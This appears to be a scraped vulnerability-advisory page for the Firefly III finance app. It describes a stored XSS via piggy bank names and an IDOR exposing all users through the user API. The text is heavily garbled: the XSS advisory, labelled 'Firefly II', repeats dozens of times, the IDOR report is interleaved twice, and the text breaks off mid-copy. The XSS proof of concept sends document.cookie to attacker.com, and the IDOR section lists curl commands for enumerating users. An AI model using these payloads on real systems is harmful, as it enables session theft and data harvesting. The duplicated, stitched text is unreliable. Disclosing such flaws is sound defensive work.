Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly III user API endpoints expose all users' information to any authenticated user (IDOR)
Medium
Network
Low
Low
None
Summary
The User management API endpoints (GET /api/v1/users and GET /api/v1/users/{id}) are accessible to any authenticated user without admin/owner role verification, exposing all users' email addresses, roles, and account status.
Affected Endpoints
GET /api/v1/users (UserController::index, line 94) — Lists ALL users with full details. No role check.
GET /api/v1/users/{id} (UserController::show, line 126) — Shows any user's details by ID. No role check.
Root Cause (1-of-N Inconsistency)
Other methods in the same controller properly check for the 'owner' role:
But index() and show() have no role check at all. The route group at routes/api.php:734-747 has no admin middleware, only the global auth:api middleware.
Exposed Data
The UserTransformer (line 40-54) returns:
email — user's email address
role — user's role (owner/demo)
blocked — account blocked status
blocked_code — block reason
created_at / updated_at — timestamps
Impact
Any authenticated user can:
Enumerate ALL user accounts in the instance
Harvest email addresses for phishing/social engineering
Identify admin/owner accounts by role
Determine which accounts are blocked
Exploitation
# List all users
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users
# View specific user details
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users/1
Suggested Fix
Add owner role checks to index() and show(), or restrict the route group with admin middleware:
// Option 1: Add check in controller methods
public function show(User $user): JsonResponse
{
if (!$this->repository->hasRole(auth()->user(), 'owner') && auth()->user()->id !== $user->id) {
throw new FireflyException('200025: No access to function.');
}
// ...
}
// Option 2: Add middleware to route group
Route::group(['middleware' => ['admin'], ...], ...)
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly III user API endpoints expose all users' information to any authenticated user (IDOR)
Medium
Network
Low
Low
None
Summary
The User management API endpoints (GET /api/v1/users and GET /api/v1/users/{id}) are accessible to any authenticated user without admin/owner role verification, exposing all users' email addresses, roles, and account status.
Affected Endpoints
GET /api/v1/users (UserController::index, line 94) — Lists ALL users with full details. No role check.
GET /api/v1/users/{id} (UserController::show, line 126) — Shows any user's details by ID. No role check.
Root Cause (1-of-N Inconsistency)
Other methods in the same controller properly check for the 'owner' role:
But index() and show() have no role check at all. The route group at routes/api.php:734-747 has no admin middleware, only the global auth:api middleware.
Exposed Data
The UserTransformer (line 40-54) returns:
email — user's email address
role — user's role (owner/demo)
blocked — account blocked status
blocked_code — block reason
created_at / updated_at — timestamps
Impact
Any authenticated user can:
Enumerate ALL user accounts in the instance
Harvest email addresses for phishing/social engineering
Identify admin/owner accounts by role
Determine which accounts are blocked
Exploitation
# List all users
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users
# View specific user details
curl -H "Authorization: Bearer <any_user_token>" https://instance/api/v1/users/1
Suggested Fix
Add owner role checks to index() and show(), or restrict the route group with admin middleware:
// Option 1: Add check in controller methods
public function show(User $user): JsonResponse
{
if (!$this->repository->hasRole(auth()->user(), 'owner') && auth()->user()->id !== $user->id) {
throw new FireflyException('200025: No access to function.');
}
// ...
}
// Option 2: Add middleware to route group
Route::group(['middleware' => ['admin'], ...], ...)
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
